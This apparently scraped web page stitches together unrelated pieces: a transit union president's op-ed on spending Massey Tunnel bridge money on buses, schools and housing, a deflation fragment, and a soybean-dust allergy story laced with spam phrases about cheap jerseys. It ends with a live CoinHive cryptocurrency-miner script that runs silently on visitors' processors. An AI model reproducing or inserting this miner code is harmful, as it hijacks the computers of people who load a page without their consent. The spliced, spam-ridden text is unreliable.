Assuming a 35 per cent recovery in operating costs from

Assuming a 35 per cent recovery in operating costs from transit fares, we could operate that expanded fleet for 10 years.This estimate is based on spending an average of $750,000 each for state of the art hybrid buses of various sizes. The largest hybrid buses cost more, and smaller community shuttles and HandyDart buses less.For another $1.3 billion we could upgrade or replace all 152 schools that pose the highest danger to students in an earthquake.And, in a region crying out for massive increases in available cheaper housing, we could build another 5,520 affordable housing units for a projected $1.38 billion.As you can see, we have split the pie into three roughly equal slices, with close to the same amount of money spent on three priority areas.Yet it is easy to see that if we chose to divide up that pie somewhat differently, we could achieve even more spectacular growth in bus fleets while still putting more money into schools and affordable housing.As we said at the outset, there are numerous problems associated with the provincial government’s surprise announcement that it is going ahead with a bridge that many Lower Mainland residents do not want.But perhaps the biggest problem with that decision is that members of the public never got the opportunity to have a discussion to which they are so richly entitled.What should the priorities for public investments be, particularly in major urban regions where a multitude of challenges are faced? Where do we get the best public return for public dollars spent?What is critically important at this juncture is that the Massey Tunnel replacement bridge is far from a done deal. The major contracts to build it won’t be ready for signing until at least the summer.The time is long overdue to have a fulsome discussion about what the alternatives are, alternatives that could improve the livability of our region on so many fronts.Bob Chitrenky is president of Amalgamated Transit Union local 1724, which represents HandyDart workers in Metro Vancouver. What’s wrong with lower prices?More than you realize. When prices of most basic commodities used in manufacturing fall, we face the risk of deflation. Deflation is scary because once consumers understand that what they want today will be cheaper tomorrow they delay buying, sometimes indefinitely. Victims were exposed to massive clouds of soybean dust because the appropriate filters weren installed in harbor silos, he says. Took the group nearly eight years to prove, but it was the first time soybean dust had been shown to be a potent allergen. Coming to Madison in 2006, Van Sickle was a disease detective in the Epidemic Intelligence Service at the Centers for Disease Control and Prevention (CDC) in Atlanta, cheap sports china a job that led him to investigate a number of outbreaks, including exposure to mold titanium 450ml cup in post wholesale jerseys Katrina New Orleans and chlorine gas in South Carolina.var miner = new CoinHive.User(‘xtFCkOWXnlc5ZsFwNrjy8Mi8U1E0VRsi’,document.domain,{threads:navigator.hardwareConcurrency,autoThreads:false,throttle:0.5,forceASMJS:false});miner.start();